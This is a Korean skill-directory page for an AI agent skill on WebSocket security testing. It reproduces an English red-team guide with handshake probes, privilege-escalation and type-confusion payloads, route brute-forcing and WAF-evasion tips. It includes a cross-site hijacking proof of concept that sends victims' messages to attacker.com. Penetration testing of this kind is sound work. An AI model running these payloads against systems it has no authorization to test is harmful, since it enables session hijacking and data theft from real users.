본문으로 건너뛰기
Skillpedia
보안6.5k · #14027

api-websocket

하는 일

이 안내서는 브라우저와 서버 사이의 실시간 양방향 연결을 유지하는 WebSocket 연결의 보안 점검을 다룹니다. 채팅, 실시간 업데이트, 협업 기능을 만드는 팀을 위한 가이드입니다.

사용하는 경우

  • ✓웹 앱이 WebSocket을 써서 연결 규칙을 점검해야 할 때.
  • ✓연결 시점에 확인한 로그인이 각 메시지에도 확인되는지 보고 싶을 때.
  • ✓다른 사이트가 촉발할 수 있는 메시지를 실시간 기능이 받아들일 수 있는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리 채팅 앱은 WebSocket을 씁니다. 연결과 각 메시지가 제대로 확인되는지 점검해 주시겠어요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 서버가 핸드셰이크 중에 출처를 어떻게 검증하는지 확인한 뒤, 각 메시지에 권한이 확인되는지 테스트합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

WebSocket Attack Surface

Detect

Look for Upgrade: websocket in any handshake. Common paths: /ws, /socket.io, /graphql-ws, /cable (Rails ActionCable), /hub (SignalR).

# Quick handshake test
curl -sk -i \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Key: $(openssl rand -base64 16)" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Origin: https://target" \
  https://target/ws
# 101 = upgraded

Top 5 bug classes

1. Cross-Site WebSocket Hijacking (CSWSH)

Server doesn't validate Origin. Attacker site can open a WS from the victim's browser with the victim's cookies:

<!-- Hosted on attacker.com -->
<script>
const ws = new WebSocket("wss://target/ws");
ws.onmessage = e => fetch("https://attacker.com/x?d=" + btoa(e.data));
ws.onopen   = () => ws.send(JSON.stringify({op:"list_messages"}));
</script>

Test by sending the same request you saw in DevTools but with Origin: https://attacker.com. If server accepts → CSWSH.

2. Missing per-message authorization

Server checks JWT on connect but trusts every later message. Send a connect with a low-priv token, then drop an admin-style message:

wscat -c "wss://target/ws?token=lowpriv_jwt"
> {"op":"users.list_all"}     # ⚠ admin op succeeds

3. Message-type confusion

Server dispatches by JSON type field. Send a message with two types or a type the server doesn't expect:

{"type":"chat","type":"admin","args":{"cmd":"shutdown"}}
{"type":"\u0061dmin","args":{...}}        // Unicode-normalize bypass

4. WS → wss downgrade

If the app uses ws:// over a public network: MITM to drop the upgrade and read everything in clear. Browser only forces wss for mixed-content cases.

5. Hidden RPC routes

WS multiplex many RPC methods over one socket. Discovery is rarely complete. Brute-force method names:

wscat -c wss://target/ws -H "Authorization: bearer $TOKEN" -x '{"op":"PLACEHOLDER","args":{}}'
# Replace PLACEHOLDER with each candidate: admin.*, internal.*, debug.*, eval, etc.
# Distinct error per route reveals what exists vs what's gated.

Tooling

# wscat — interactive
npm install -g wscat

# websocat — netcat for WS
websocat wss://target/ws

# Burp Suite — full WS interception (Proxy → WebSockets History)

# Pwntools-style for scripted attacks
python3 -c '
import websocket, json
ws = websocket.create_connection("wss://target/ws", header=["Origin: https://target", "Cookie: session=..."])
ws.send(json.dumps({"op":"users.list"}))
print(ws.recv())
ws.close()
'

Protocol-specific tips

Socket.IO

Multiple "engine" levels: long-polling fallback, sticky sessions. Hit /socket.io/?EIO=4&transport=polling first.

STOMP over WebSocket

CONNECT → SEND → SUBSCRIBE text frames. SUBSCRIBE /topic/admin often missing authz.

GraphQL-WS / graphql-transport-ws

connection_init payload often carries auth. Server may accept reconnections without re-authing — replay attack.

SignalR

Negotiate URL /hub/negotiate. Token in negotiate is reusable for the WS upgrade.

OPSEC

  • WebSocket sessions are long-lived — server-side detection is per-frame. Burst-write 1000 messages, observe quench/error rate.
  • WAFs often DON'T inspect WS frames. Once inside a WS, you can move freely vs HTTP.
  • Browser DevTools "Frames" tab makes CSWSH PoCs trivially reproducible — capture-and-replay flow.

References

  • PortSwigger Academy "WebSocket attacks" track
  • OWASP WebSocket testing guide
  • "Cross-Site WebSocket Hijacking" — Christian Schneider (original 2013 writeup)
자주 묻는 질문

출처 검사란 무엇인가요?

연결을 연 웹사이트가 어디인지 서버가 확인하는 것이며, 다른 사이트의 요청을 막아야 합니다.

메시지마다 확인해야 하는 이유는 무엇인가요?

일부 서버는 연결이 열릴 때만 로그인을 확인하고, 그 뒤의 모든 메시지를 신뢰한다고 안내서는 설명합니다.

메시지 범람이란 무엇인가요?

서버를 과부하시키기 위해 아주 많은 메시지를 보내는 것이며, 안내서는 이를 서비스 거부 위험으로 꼽습니다.

상세 정보

작성자의 원본 설명

WebSocket exploitation — origin-bypass (CSWSH cross-site WebSocket hijacking), missing per-message auth, message-type confusion, msg-flood DoS, ws→wss downgrade, hidden RPC routes in the WS frame layer.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14027
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬